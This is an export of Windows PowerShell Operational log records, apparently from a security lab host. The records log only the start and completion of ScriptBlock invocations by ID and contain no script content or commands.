Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024449
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024448
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024447
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024446
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024426
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024425
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024420
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024419
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
